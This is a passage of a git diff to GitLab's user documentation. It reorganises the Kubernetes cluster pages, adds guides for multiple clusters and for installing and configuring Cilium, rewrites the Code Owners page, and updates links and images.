-- You don't use the GitLab cluster integration, you can still deploy to your
- cluster. However, you must configure Kubernetes tools yourself
- using [CI/CD variables](../../../ci/variables/README.md#custom-cicd-variables)
- before you can interact with the cluster from your jobs.
-
-### Deployment variables
-
-Deployment variables require a valid [Deploy Token](../deploy_tokens/index.md) named
-[`gitlab-deploy-token`](../deploy_tokens/index.md#gitlab-deploy-token), and the
-following command in your deployment job script, for Kubernetes to access the registry:
-
-- Using Kubernetes 1.18+:
-
- ```shell
- kubectl create secret docker-registry gitlab-registry --docker-server="$CI_REGISTRY" --docker-username="$CI_DEPLOY_USER" --docker-password="$CI_DEPLOY_PASSWORD" --docker-email="$GITLAB_USER_EMAIL" -o yaml --dry-run=client | kubectl apply -f -
- ```
-
-- Using Kubernetes <1.18:
-
- ```shell
- kubectl create secret docker-registry gitlab-registry --docker-server="$CI_REGISTRY" --docker-username="$CI_DEPLOY_USER" --docker-password="$CI_DEPLOY_PASSWORD" --docker-email="$GITLAB_USER_EMAIL" -o yaml --dry-run | kubectl apply -f -
- ```
-
-The Kubernetes cluster integration exposes these
-[deployment variables](../../../ci/variables/README.md#deployment-variables) in the
-GitLab CI/CD build environment to deployment jobs. Deployment jobs have
-[defined a target environment](../../../ci/environments/index.md).
-
-| Deployment Variable | Description |
-|----------------------------|-------------|
-| `KUBE_URL` | Equal to the API URL. |
-| `KUBE_TOKEN` | The Kubernetes token of the [environment service account](add_remove_clusters.md#access-controls). Prior to GitLab 11.5, `KUBE_TOKEN` was the Kubernetes token of the main service account of the cluster integration. |
-| `KUBE_NAMESPACE` | The namespace associated with the project's deployment service account. In the format `<project_name>-<project_id>-<environment>`. For GitLab-managed clusters, a matching namespace is automatically created by GitLab in the cluster. If your cluster was created before GitLab 12.2, the default `KUBE_NAMESPACE` is set to `<project_name>-<project_id>`. |
-| `KUBE_CA_PEM_FILE` | Path to a file containing PEM data. Only present if a custom CA bundle was specified. |
-| `KUBE_CA_PEM` | (**deprecated**) Raw PEM data. Only if a custom CA bundle was specified. |
-| `KUBECONFIG` | Path to a file containing `kubeconfig` for this deployment. CA bundle would be embedded if specified. This configuration also embeds the same token defined in `KUBE_TOKEN` so you likely need only this variable. This variable name is also automatically picked up by `kubectl` so you don't need to reference it explicitly if using `kubectl`. |
-| `KUBE_INGRESS_BASE_DOMAIN` | From GitLab 11.8, this variable can be used to set a domain per cluster. See [cluster domains](#base-domain) for more information. |
-
-### Custom namespace
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27630) in GitLab 12.6.
-> - An option to use project-wide namespaces [was added](https://gitlab.com/gitlab-org/gitlab/-/issues/38054) in GitLab 13.5.
-
-The Kubernetes integration provides a `KUBECONFIG` with an auto-generated namespace
-to deployment jobs. It defaults to using project-environment specific namespaces
-of the form `<prefix>-<environment>`, where `<prefix>` is of the form
-`<project_name>-<project_id>`. To learn more, read [Deployment variables](#deployment-variables).
-
-You can customize the deployment namespace in a few ways:
-
-- You can choose between a **namespace per [environment](../../../ci/environments/index.md)**
- or a **namespace per project**. A namespace per environment is the default and recommended
- setting, as it prevents the mixing of resources between production and non-production environments.
-- When using a project-level cluster, you can additionally customize the namespace prefix.
- When using namespace-per-environment, the deployment namespace is `<prefix>-<environment>`,
- but otherwise just `<prefix>`.
-- For **non-managed** clusters, the auto-generated namespace is set in the `KUBECONFIG`,
- but the user is responsible for ensuring its existence. You can fully customize
- this value using
- [`environment:kubernetes:namespace`](../../../ci/environments/index.md#configure-kubernetes-deployments)
- in `.gitlab-ci.yml`.
-
-When you customize the namespace, existing environments remain linked to their current
-namespaces until you [clear the cluster cache](#clearing-the-cluster-cache).
-
-#### Protecting credentials
-
-By default, anyone who can create a deployment job can access any CI/CD variable in
-an environment's deployment job. This includes `KUBECONFIG`, which gives access to
-any secret available to the associated service account in your cluster.
-To keep your production credentials safe, consider using
-[protected environments](../../../ci/environments/protected_environments.md),
-combined with *one* of the following:
-
-- A GitLab-managed cluster and namespace per environment.
-- An environment-scoped cluster per protected environment. The same cluster
- can be added multiple times with multiple restricted service accounts.
-
-### Integrations
-
-#### Canary Deployments
-
-Leverage [Kubernetes' Canary deployments](https://kubernetes.io/docs/concepts/cluster-administration/manage-deployment/#canary-deployments)
-and visualize your canary deployments right inside the Deploy Board, without
-the need to leave GitLab.
-
-[Read more about Canary Deployments](../canary_deployments.md)
-
-#### Deploy Boards
-
-GitLab Deploy Boards offer a consolidated view of the current health and
-status of each CI [environment](../../../ci/environments/index.md) running on Kubernetes.
-They display the status of the pods in the deployment. Developers and other
-teammates can view the progress and status of a rollout, pod by pod, in the
-workflow they already use without any need to access Kubernetes.
-
-[Read more about Deploy Boards](../deploy_boards.md)
-
-#### Viewing pod logs
-
-GitLab enables you to view the logs of running pods in connected Kubernetes
-clusters. By displaying the logs directly in GitLab, developers can avoid having
-to manage console tools or jump to a different interface.
-
-[Read more about Kubernetes logs](kubernetes_pod_logs.md)
-
-#### Web terminals
-
-> Introduced in GitLab 8.15.
-
-When enabled, the Kubernetes integration adds [web terminal](../../../ci/environments/index.md#web-terminals)
-support to your [environments](../../../ci/environments/index.md). This is based
-on the `exec` functionality found in Docker and Kubernetes, so you get a new
-shell session in your existing containers. To use this integration, you
-should deploy to Kubernetes using the deployment variables above, ensuring any
-deployments, replica sets, and pods are annotated with:
-
-- `app.gitlab.com/env: $CI_ENVIRONMENT_SLUG`
-- `app.gitlab.com/app: $CI_PROJECT_PATH_SLUG`
-
-`$CI_ENVIRONMENT_SLUG` and `$CI_PROJECT_PATH_SLUG` are the values of
-the CI/CD variables.
-
-You must be the project owner or have `maintainer` permissions to use terminals.
-Support is limited to the first container in the first pod of your environment.
-
-### Troubleshooting
-
-Before the deployment jobs starts, GitLab creates the following specifically for
-the deployment job:
-
-- A namespace.
-- A service account.
-
-However, sometimes GitLab can not create them. In such instances, your job can fail with the message:
-
-```plaintext
-This job failed because the necessary resources were not successfully created.
-```
-
-To find the cause of this error when creating a namespace and service account, check the [logs](../../../administration/logs.md#kuberneteslog).
-
-Reasons for failure include:
-
-- The token you gave GitLab does not have [`cluster-admin`](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles)
- privileges required by GitLab.
-- Missing `KUBECONFIG` or `KUBE_TOKEN` deployment variables. To be passed to your job, they must have a matching
- [`environment:name`](../../../ci/environments/index.md). If your job has no
- `environment:name` set, the Kubernetes credentials are not passed to it.
-
-NOTE:
-Project-level clusters upgraded from GitLab 12.0 or older may be configured
-in a way that causes this error. Ensure you deselect the
-[GitLab-managed cluster](#gitlab-managed-clusters) option if you want to manage
-namespaces and service accounts yourself.
+See how to [deploy to your Kubernetes cluster](deploy_to_cluster.md) from GitLab.
## Monitoring your Kubernetes cluster
diff --git a/doc/user/project/clusters/multiple_kubernetes_clusters.md b/doc/user/project/clusters/multiple_kubernetes_clusters.md
new file mode 100644
index 00000000000..e2eae011b8c
--- /dev/null
+++ b/doc/user/project/clusters/multiple_kubernetes_clusters.md
@@ -0,0 +1,71 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Multiple Kubernetes clusters for a single project
+
+> - Introduced in [GitLab Premium](https://about.gitlab.com/pricing/) 10.3
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35094) to GitLab Free in 13.2.
+
+You can associate more than one Kubernetes cluster to your
+project. That way you can have different clusters for different environments,
+like development, staging, production, and so on.
+Add another cluster, like you did the first time, and make sure to
+[set an environment scope](#setting-the-environment-scope) that
+differentiates the new cluster from the rest.
+
+## Setting the environment scope
+
+When adding more than one Kubernetes cluster to your project, you need to differentiate
+them with an environment scope. The environment scope associates clusters with [environments](../../../ci/environments/index.md) similar to how the
+[environment-specific CI/CD variables](../../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) work.
+
+The default environment scope is `*`, which means all jobs, regardless of their
+environment, use that cluster. Each scope can be used only by a single cluster
+in a project, and a validation error occurs if otherwise. Also, jobs that don't
+have an environment keyword set can't access any cluster.
+
+For example, let's say the following Kubernetes clusters exist in a project:
+
+| Cluster | Environment scope |
+| ----------- | ----------------- |
+| Development | `*` |
+| Production | `production` |
+
+And the following environments are set in
+[`.gitlab-ci.yml`](../../../ci/yaml/index.md):
+
+```yaml
+stages:
+ - test
+ - deploy
+
+test:
+ stage: test
+ script: sh test
+
+deploy to staging:
+ stage: deploy
+ script: make deploy
+ environment:
+ name: staging
+ url: https://staging.example.com/
+
+deploy to production:
+ stage: deploy
+ script: make deploy
+ environment:
+ name: production
+ url: https://example.com/
+```
+
+The results:
+
+- The Development cluster details are available in the `deploy to staging`
+ job.
+- The production cluster details are available in the `deploy to production`
+ job.
+- No cluster details are available in the `test` job because it doesn't
+ define any environment.
diff --git a/doc/user/project/clusters/protect/container_host_security/quick_start_guide.md b/doc/user/project/clusters/protect/container_host_security/quick_start_guide.md
index ebcd56078ae..466bcb7916f 100644
--- a/doc/user/project/clusters/protect/container_host_security/quick_start_guide.md
+++ b/doc/user/project/clusters/protect/container_host_security/quick_start_guide.md
@@ -20,7 +20,7 @@ The following steps are recommended to install and use Container Host Security t
1. Install and configure an Ingress node:
- [Install the Ingress node via CI/CD (Cluster Management Project)](../../../../clusters/applications.md#install-ingress-using-gitlab-cicd).
- - Navigate to the Kubernetes page and enter the [DNS address for the external endpoint](../../index.md#base-domain)
+ - Navigate to the Kubernetes page and enter the [DNS address for the external endpoint](../../gitlab_managed_clusters.md#base-domain)
into the **Base domain** field on the **Details** tab. Save the changes to the Kubernetes
cluster.
@@ -50,7 +50,7 @@ kubectl -n gitlab-managed-apps logs -l app=falco
Your CI/CD pipeline may occasionally fail or have trouble connecting to the cluster. Here are some
initial troubleshooting steps that resolve the most common problems:
-1. [Clear the cluster cache](../../index.md#clearing-the-cluster-cache)
+1. [Clear the cluster cache](../../gitlab_managed_clusters.md#clearing-the-cluster-cache)
1. If things still aren't working, a more assertive set of actions may help get things back to a
good state:
diff --git a/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md b/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md
index 33aefec224a..62010bb7802 100644
--- a/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md
+++ b/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md
@@ -20,20 +20,114 @@ The following steps are recommended to install and use Container Network Securit
1. Install and configure an Ingress node:
- [Install the Ingress node via CI/CD (Cluster Management Project)](../../../../clusters/applications.md#install-ingress-using-gitlab-cicd).
- - Navigate to the Kubernetes page and enter the [DNS address for the external endpoint](../../index.md#base-domain)
+ - Navigate to the Kubernetes page and enter the [DNS address for the external endpoint](../../gitlab_managed_clusters.md#base-domain)
into the **Base domain** field on the **Details** tab. Save the changes to the Kubernetes
cluster.
-1. [Install and configure Cilium](../../../../clusters/applications.md#install-cilium-using-gitlab-cicd).
+1. [Install and configure Cilium](#use-the-cluster-management-template-to-install-cilium).
1. Be sure to restart all pods that were running before Cilium was installed by running this command
in your cluster:
`kubectl get pods --all-namespaces -o custom-columns=NAMESPACE:.metadata.namespace,NAME:.metadata.name,HOSTNETWORK:.spec.hostNetwork --no-headers=true | grep '<none>' | awk '{print "-n "$1" "$2}' | xargs -L 1 -r kubectl delete pod`
+ You can skip this step if `nodeinit.restartPods` is set to `true` on your Helm chart.
+
It's possible to install and manage Cilium in other ways. For example, you could use the GitLab Helm
chart to install Cilium manually in a Kubernetes cluster, and then connect it back to GitLab.
However, such methods aren't documented or officially supported by GitLab.
+### Use the Cluster Management template to install Cilium
+
+[Cilium](https://cilium.io/) is a networking plug-in for Kubernetes that you can use to implement
+support for [`NetworkPolicy`](https://kubernetes.io/docs/concepts/services-networking/network-policies/)
+resources. For more information, see [Network Policies](../../../../../topics/autodevops/stages.md#network-policy).
+
+You can use the [Cluster Management Project Template](../../../../clusters/management_project_template.md)
+to install Cilium in your Kubernetes cluster.
+
+1. In your cluster management project, go to `helmfile.yaml` and uncomment `- path: applications/cilium/helmfile.yaml`.
+1. In `applications/cilium/helmfile.yaml`, set `clusterType` to either `gke` or `eks` based on which Kubernetes provider your are using.
+
+ ```yaml
+ environments:
+ default:
+ values:
+ # Set to "gke" or "eks" based on your cluster type
+ - clusterType: ""
+ ```
+
+1. Merge or push these changes to the default branch of your cluster management project,
+and [GitLab CI/CD](../../../../../ci/README.md) will automatically install Cilium.
+
+WARNING:
+Installation and removal of the Cilium requires a **manual**
+[restart](https://docs.cilium.io/en/stable/gettingstarted/k8s-install-helm/#restart-unmanaged-pods)
+of all affected pods in all namespaces to ensure that they are
+[managed](https://docs.cilium.io/en/stable/operations/troubleshooting/#ensure-managed-pod)
+by the correct networking plug-in. When Hubble is enabled, its related pod might require a
+restart depending on whether it started prior to Cilium. For more information, see
+[Failed Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#failed-deployment)
+in the Kubernetes docs.
+
+NOTE:
+Major upgrades might require additional setup steps. For more information, see
+the official [upgrade guide](https://docs.cilium.io/en/stable/operations/upgrade/).
+
+Support for installing the Cilium application is provided by the
+GitLab Container Security group. If you run into unknown issues,
+[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
+least 2 people from the
+[Container Security group](https://about.gitlab.com/handbook/product/categories/#container-security-group).
+
+### Configure the Cilium Helm chart
+
+You can customize Cilium's Helm variables by editing the `applications/cilium/values.yaml`
+file in your cluster management project. Refer to the [Cilium Helm reference](https://docs.cilium.io/en/stable/helm-reference/)
+for the available configuration options.
+
+By default, Cilium's
+[audit mode](https://docs.cilium.io/en/stable/gettingstarted/policy-creation/#enable-policy-audit-mode)
+is enabled. In audit mode, Cilium doesn't drop disallowed packets. You
+can use `policy-verdict` log to observe policy-related decisions. You
+can disable audit mode by setting `policyAuditMode: false` in
+`applications/cilium/values.yaml`.
+
+The Cilium monitor log for traffic is logged out by the
+`cilium-monitor` sidecar container. You can check these logs with the following command:
+
+```shell
+kubectl -n gitlab-managed-apps logs -l k8s-app=cilium -c cilium-monitor
+```
+
+You can disable the monitor log in `application/cilium/values.yaml`:
+
+```yaml
+monitor:
+ enabled: false
+```
+
+The [Hubble](https://github.com/cilium/hubble) monitoring daemon is enabled by default
+and it's set to collect per namespace flow metrics. This metrics are accessible on the
+[Threat Monitoring](../../../../application_security/threat_monitoring/index.md)
+dashboard. You can disable Hubble by adding the following to
+`applications/cilium/values.yaml`:
+
+```yaml
+hubble:
+ enabled: false
+```
+
+You can also adjust Helm values for Hubble by using
+`applications/cilium/values.yaml`:
+
+```yaml
+hubble:
+ enabled: true
+ metrics:
+ enabled:
+ - 'flow:sourceContext=namespace;destinationContext=namespace'
+```
+
## Managing Network Policies
Managing NetworkPolicies through GitLab is advantageous over managing the policies in Kubernetes
@@ -62,16 +156,14 @@ editor.
To view statistics for Container Network Security, you must follow the installation steps above and
configure GitLab integration with Prometheus. Also, if you use custom Helm values for Cilium, you
must enable Hubble with flow metrics for each namespace by adding the following lines to
-your [Cilium values](../../../../clusters/applications.md#install-cilium-using-gitlab-cicd):
-your [Cilium values](../../../../clusters/applications.md#install-cilium-using-gitlab-cicd):
+your [Cilium values](#use-the-cluster-management-template-to-install-cilium):
```yaml
-global:
- hubble:
- enabled: true
- metrics:
- enabled:
- - 'flow:sourceContext=namespace;destinationContext=namespace'
+hubble:
+ enabled: true
+ metrics:
+ enabled:
+ - 'flow:sourceContext=namespace;destinationContext=namespace'
```
Additional information about the statistics page is available in the
@@ -97,15 +189,14 @@ kubectl -n gitlab-managed-apps logs -l k8s-app=cilium -c cilium-monitor
By default, Cilium is installed in Audit mode only, meaning that NetworkPolicies log policy
violations but don't block any traffic. To set Cilium to Blocking mode, you must add the following
-lines to the `.gitlab/managed-apps/cilium/values.yaml` file in your cluster management project:
+lines to the `applications/cilium/values.yaml` file in your cluster management project:
```yaml
config:
policyAuditMode: false
-agent:
- monitor:
- eventTypes: ["drop"]
+monitor:
+ eventTypes: ["drop"]
```
### Traffic is not being allowed as expected
@@ -120,7 +211,7 @@ traffic that you want to allow in the node.
Occasionally, your CI/CD pipeline may fail or have trouble connecting to the cluster. Here are some
initial troubleshooting steps that resolve the most common problems:
-1. [Clear the cluster cache](../../index.md#clearing-the-cluster-cache).
+1. [Clear the cluster cache](../../gitlab_managed_clusters.md#clearing-the-cluster-cache).
1. If things still aren't working, a more assertive set of actions may help get things back into a
good state:
diff --git a/doc/user/project/clusters/serverless/aws.md b/doc/user/project/clusters/serverless/aws.md
index 5d6fb8252bb..6eafb4530d3 100644
--- a/doc/user/project/clusters/serverless/aws.md
+++ b/doc/user/project/clusters/serverless/aws.md
@@ -134,7 +134,7 @@ This example code does the following:
#### Setting up your AWS credentials with your GitLab account
In order to interact with your AWS account, the GitLab CI/CD pipelines require both `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` to be defined in your GitLab settings under **Settings > CI/CD > Variables**.
-For more information please see [Create a custom variable in the UI](../../../../ci/variables/README.md#custom-variables-validated-by-gitlab).
+For more information please see [Create a custom variable in the UI](../../../../ci/variables/index.md#custom-variables-validated-by-gitlab).
The AWS credentials you provide must include IAM policies that provision correct
access control to AWS Lambda, API Gateway, CloudFormation, and IAM resources.
@@ -381,7 +381,7 @@ control to AWS Lambda, API Gateway, CloudFormation, and IAM resources.
### Crafting the `.gitlab-ci.yml` file
-In a [`.gitlab-ci.yml`](../../../../ci/yaml/README.md) file in the root of your project,
+In a [`.gitlab-ci.yml`](../../../../ci/yaml/index.md) file in the root of your project,
add the following and replace `<S3_bucket_name>` with the name of the S3 bucket where you
want to store your package:
diff --git a/doc/user/project/clusters/serverless/img/function-details-loaded.png b/doc/user/project/clusters/serverless/img/function-details-loaded.png
deleted file mode 100644
index 2f0d61f8032..00000000000
--- a/doc/user/project/clusters/serverless/img/function-details-loaded.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/clusters/serverless/img/function-details-loaded_v14_0.png b/doc/user/project/clusters/serverless/img/function-details-loaded_v14_0.png
new file mode 100644
index 00000000000..a19d236fc39
--- /dev/null
+++ b/doc/user/project/clusters/serverless/img/function-details-loaded_v14_0.png
Binary files differ
diff --git a/doc/user/project/clusters/serverless/img/serverless-page.png b/doc/user/project/clusters/serverless/img/serverless-page.png
deleted file mode 100644
index 8dce3cb1f70..00000000000
--- a/doc/user/project/clusters/serverless/img/serverless-page.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/clusters/serverless/img/serverless-page_v14_0.png b/doc/user/project/clusters/serverless/img/serverless-page_v14_0.png
new file mode 100644
index 00000000000..f88eb4bdcd2
--- /dev/null
+++ b/doc/user/project/clusters/serverless/img/serverless-page_v14_0.png
Binary files differ
diff --git a/doc/user/project/clusters/serverless/index.md b/doc/user/project/clusters/serverless/index.md
index e4ac1eabffe..ec22f71157f 100644
--- a/doc/user/project/clusters/serverless/index.md
+++ b/doc/user/project/clusters/serverless/index.md
@@ -322,7 +322,7 @@ being executed which deploys each function as a Knative service. After the
deploy stage has finished, additional details for the function display
under **Infrastructure > Serverless platform**.
-![serverless page](img/serverless-page.png)
+![serverless page](img/serverless-page_v14_0.png)
This page contains all functions available for the project, the description for
accessing the function, and, if available, the function's runtime information.
@@ -364,7 +364,7 @@ kubectl create secret generic my-secrets -n "$KUBE_NAMESPACE" --from-literal MY_
#### Part of deployment job
-You can extend your `.gitlab-ci.yml` to create the secrets during deployment using the [CI/CD variables](../../../../ci/variables/README.md)
+You can extend your `.gitlab-ci.yml` to create the secrets during deployment using the [CI/CD variables](../../../../ci/variables/index.md)
stored securely under your GitLab project.
```yaml
@@ -463,7 +463,7 @@ Go to the **Infrastructure > Serverless platform** page to see the final URL of
On the same page as above, click on one of the function
rows to bring up the function details page.
-![function_details](img/function-details-loaded.png)
+![function_details](img/function-details-loaded_v14_0.png)
The pod count gives you the number of pods running the serverless function instances on a given cluster.
diff --git a/doc/user/project/code_owners.md b/doc/user/project/code_owners.md
index ea7bcce99c1..2a60c06814b 100644
--- a/doc/user/project/code_owners.md
+++ b/doc/user/project/code_owners.md
@@ -11,56 +11,56 @@ type: reference
> - Code Owners for Merge Request approvals was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4418) in GitLab Premium 11.9.
> - Moved to GitLab Premium in 13.9.
-## Introduction
+Code Owners define who owns specific files or paths in a repository.
+You can require that Code Owners approve a merge request before it's merged.
-When contributing to a project, it can often be difficult
-to find out who should review or approve merge requests.
-Additionally, if you have a question over a specific file or
-code block, it may be difficult to know who to find the answer from.
+Code Owners help you determine who should review or approve merge requests.
+If you have a question about a file or feature, Code Owners
+can help you find someone who knows the answer.
-The GitLab Code Owners feature defines who owns specific
-files or paths in a repository, allowing other users to understand
-who is responsible for each file or path.
+If you don't want to use Code Owners for approvals, you can
+[configure rules](merge_requests/approvals/rules.md) instead.
-As an alternative to using Code Owners for approvals, you can instead
-[configure rules](merge_requests/approvals/rules.md).
+## Set up Code Owners
-## Why is this useful?
+You can specify users or [shared groups](members/share_project_with_groups.md)
+that are responsible for specific files and directories in a repository.
-Code Owners allows for a version controlled, single source of
-truth file outlining the exact GitLab users or groups that
-own certain files or paths in a repository. In larger organizations
-or popular open source projects, Code Owners can help you understand
-who to contact if you have a question about a specific portion of
-the codebase. Code Owners can also streamline the merge request approval
-process, identifying the most relevant reviewers and approvers for a
-given change.
+To set up Code Owners:
-## How to set up Code Owners
+1. Choose the location where you want to specify Code Owners:
+ - In the root directory of the repository
+ - In the `.gitlab/` directory
+ - In the `docs/` directory
-You can use a `CODEOWNERS` file to specify users or
-[shared groups](members/share_project_with_groups.md)
-that are responsible for specific files and directories in a repository.
+1. In that location, create a file named `CODEOWNERS`.
+
+1. In the file, enter text that follows one of these patterns:
+
+ ```plaintext
+ # A member as Code Owner of a file
+ filename @username
+
+ # A member as Code Owner of a directory
+ directory @username
-You can choose to add the `CODEOWNERS` file in three places:
+ # All group members as Code Owners of a file
+ filename @groupname
-- To the root directory of the repository
-- Inside the `.gitlab/` directory
-- Inside the `docs/` directory
+ # All group members as Code Owners of a directory
+ directory @groupname
+ ```
-The `CODEOWNERS` file is valid for the branch where it lives. For example, if you change the code owners
-in a feature branch, the changes aren't valid in the main branch until the feature branch is merged.
+The Code Owners are displayed in the UI by the files or directory they apply to.
+These owners apply to this branch only. When you add new files to the repository,
+you should update the `CODEOWNERS` file.
-If you introduce new files to your repository and you want to identify the code owners for that file,
-you must update `CODEOWNERS` accordingly. If you update the code owners when you are adding the files (in the same
-branch), GitLab counts the owners as soon as the branch is merged. If
-you don't, you can do that later, but your new files don't belong to anyone until you update your
-`CODEOWNERS` file in the TARGET branch.
+## When a file matches multiple `CODEOWNERS` entries
When a file matches multiple entries in the `CODEOWNERS` file,
-the users from last pattern matching the file are displayed on the
-blob page of the given file. For example, you have the following
-`CODEOWNERS` file:
+the users from last pattern matching the file are used.
+
+For example, in the following `CODEOWNERS` file:
```plaintext
README.md @user1
@@ -77,7 +77,7 @@ After you've added Code Owners to a project, you can configure it to
be used for merge request approvals:
- As [merge request eligible approvers](merge_requests/approvals/rules.md#code-owners-as-eligible-approvers).
-- As required approvers for [protected branches](protected_branches.md#protected-branches-approval-by-code-owners). **(PREMIUM)**
+- As required approvers for [protected branches](protected_branches.md#require-code-owner-approval-on-a-protected-branch). **(PREMIUM)**
Developer or higher [permissions](../permissions.md) are required to
approve a merge request.
@@ -93,11 +93,11 @@ without using [Approval Rules](merge_requests/approvals/rules.md):
1. Create the file in one of the three locations specified above.
1. Set the code owners as required approvers for
- [protected branches](protected_branches.md#protected-branches-approval-by-code-owners).
-1. Use [the syntax of Code Owners files](code_owners.md#the-syntax-of-code-owners-files)
+ [protected branches](protected_branches.md#require-code-owner-approval-on-a-protected-branch).
+1. Use [the syntax of Code Owners files](code_owners.md)
to specify the actual owners and granular permissions.
-Using Code Owners in conjunction with [protected branches](protected_branches.md#protected-branches-approval-by-code-owners)
+Using Code Owners in conjunction with [protected branches](protected_branches.md#require-code-owner-approval-on-a-protected-branch)
prevents any user who is not specified in the `CODEOWNERS` file from pushing
changes for the specified files/paths, except those included in the
**Allowed to push** column. This allows for a more inclusive push strategy, as
@@ -107,20 +107,7 @@ Code Owners is required.
[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35097) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5, users and groups who are allowed to push to protected branches do not require a merge request to merge their feature branches. Thus, they can skip merge request approval rules, Code Owners included.
-## The syntax of Code Owners files
-
-Files can be specified using the same kind of patterns you would use
-in the `.gitignore` file followed by one or more of:
-
-- A user's `@username`.
-- A user's email address.
-- The `@name` of one or more groups that should be owners of the file.
-- Lines starting with `#` are ignored.
-
-The path definition order is significant: the last pattern
-matching a given path is used to find the code owners.
-
-### Groups as Code Owners
+## Groups as Code Owners
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53182) in GitLab 12.1.
> - Group and subgroup hierarchy support was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32432) in GitLab 13.0.
diff --git a/doc/user/project/deploy_boards.md b/doc/user/project/deploy_boards.md
index 89c82d4dc6f..a09448d4755 100644
--- a/doc/user/project/deploy_boards.md
+++ b/doc/user/project/deploy_boards.md
@@ -59,7 +59,7 @@ specific environment, there are a lot of use cases. To name a few:
- You want to promote what's running in staging, to production. You go to the
environments list, verify that what's running in staging is what you think is
- running, then click on the [manual action](../../ci/yaml/README.md#whenmanual) to deploy to production.
+ running, then click on the [manual action](../../ci/yaml/index.md#whenmanual) to deploy to production.
- You trigger a deploy, and you have many containers to upgrade so you know
this takes a while (you've also throttled your deploy to only take down X
containers at a time). But you need to tell someone when it's deployed, so you
@@ -88,7 +88,7 @@ To display the Deploy Boards for a specific [environment](../../ci/environments/
[OpenShift docs](https://docs.openshift.com/container-platform/3.7/dev_guide/deployments/kubernetes_deployments.html#kubernetes-deployments-vs-deployment-configurations)
and [GitLab issue #4584](https://gitlab.com/gitlab-org/gitlab/-/issues/4584).
-1. [Configure GitLab Runner](../../ci/runners/README.md) with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html) or
+1. [Configure GitLab Runner](../../ci/runners/index.md) with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html) or
[`kubernetes`](https://docs.gitlab.com/runner/executors/kubernetes.html) executor.
1. Configure the [Kubernetes integration](clusters/index.md) in your project for the
cluster. The Kubernetes namespace is of particular note as you need it
@@ -165,6 +165,6 @@ version of your application.
## Further reading
- [GitLab Auto deploy](../../topics/autodevops/stages.md#auto-deploy)
-- [GitLab CI/CD variables](../../ci/variables/README.md)
+- [GitLab CI/CD variables](../../ci/variables/index.md)
- [Environments and deployments](../../ci/environments/index.md)
- [Kubernetes deploy example](https://gitlab.com/gitlab-examples/kubernetes-deploy)
diff --git a/doc/user/project/deploy_keys/index.md b/doc/user/project/deploy_keys/index.md
index c0bc97781b6..1b9a17ee071 100644
--- a/doc/user/project/deploy_keys/index.md
+++ b/doc/user/project/deploy_keys/index.md
@@ -28,7 +28,7 @@ repository in automation, it's a simple solution.
A drawback is that your repository could become vulnerable if a remote machine is compromised
by a hacker. You should limit access to the remote machine before a deploy key is
enabled on your repository. A good rule to follow is to provide access only to trusted users,
-and make sure that the allowed users have the [Maintainer role or higher](../../permissions.md)
+and make sure that the allowed users have at least the [Maintainer role](../../permissions.md)
in the GitLab project.
If this security implication is a concern for your organization,
@@ -121,8 +121,9 @@ repositories to secure, shared services, such as CI/CD.
Instance administrators can add public deploy keys:
-1. Go to **Admin Area > Deploy Keys**.
-1. Click on **New deploy key**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Deploy Keys**.
+1. Select **New deploy key**.
Make sure your new key has a meaningful title, as it is the primary way for project
maintainers and owners to identify the correct public deploy key to add. For example,
diff --git a/doc/user/project/description_templates.md b/doc/user/project/description_templates.md
index 711d7f561e4..72ef88b5fab 100644
--- a/doc/user/project/description_templates.md
+++ b/doc/user/project/description_templates.md
@@ -4,7 +4,7 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Description templates
+# Description templates **(FREE)**
We all know that a properly submitted issue is more likely to be addressed in
a timely manner by the developers of a project.
diff --git a/doc/user/project/file_lock.md b/doc/user/project/file_lock.md
index eb963cb74c5..5ffde38b348 100644
--- a/doc/user/project/file_lock.md
+++ b/doc/user/project/file_lock.md
@@ -34,7 +34,7 @@ GitLab supports two different modes of file locking:
## Permissions
Locks can be created by any person who has at least
-[Developer permissions](../permissions.md) to the repository.
+[Developer role](../permissions.md) in the repository.
Only the user who locked the file or directory can edit locked files. Other
users are prevented from modifying locked files by pushing, merging,
diff --git a/doc/user/project/img/protected_branches_delete.png b/doc/user/project/img/protected_branches_delete.png
deleted file mode 100644
index 8910ae9e39d..00000000000
--- a/doc/user/project/img/protected_branches_delete.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/img/protected_branches_deploy_keys_v13_5.png b/doc/user/project/img/protected_branches_deploy_keys_v13_5.png
deleted file mode 100644
index ccd23dbe160..00000000000
--- a/doc/user/project/img/protected_branches_deploy_keys_v13_5.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/img/protected_branches_matches.png b/doc/user/project/img/protected_branches_matches.png
deleted file mode 100644
index d7f2c8582fc..00000000000
--- a/doc/user/project/img/protected_branches_matches.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/img/protected_branches_select_roles_and_users.png b/doc/user/project/img/protected_branches_select_roles_and_users.png
deleted file mode 100644
index 4f62b057cc7..00000000000
--- a/doc/user/project/img/protected_branches_select_roles_and_users.png
+++ /dev/null
Binary files differ
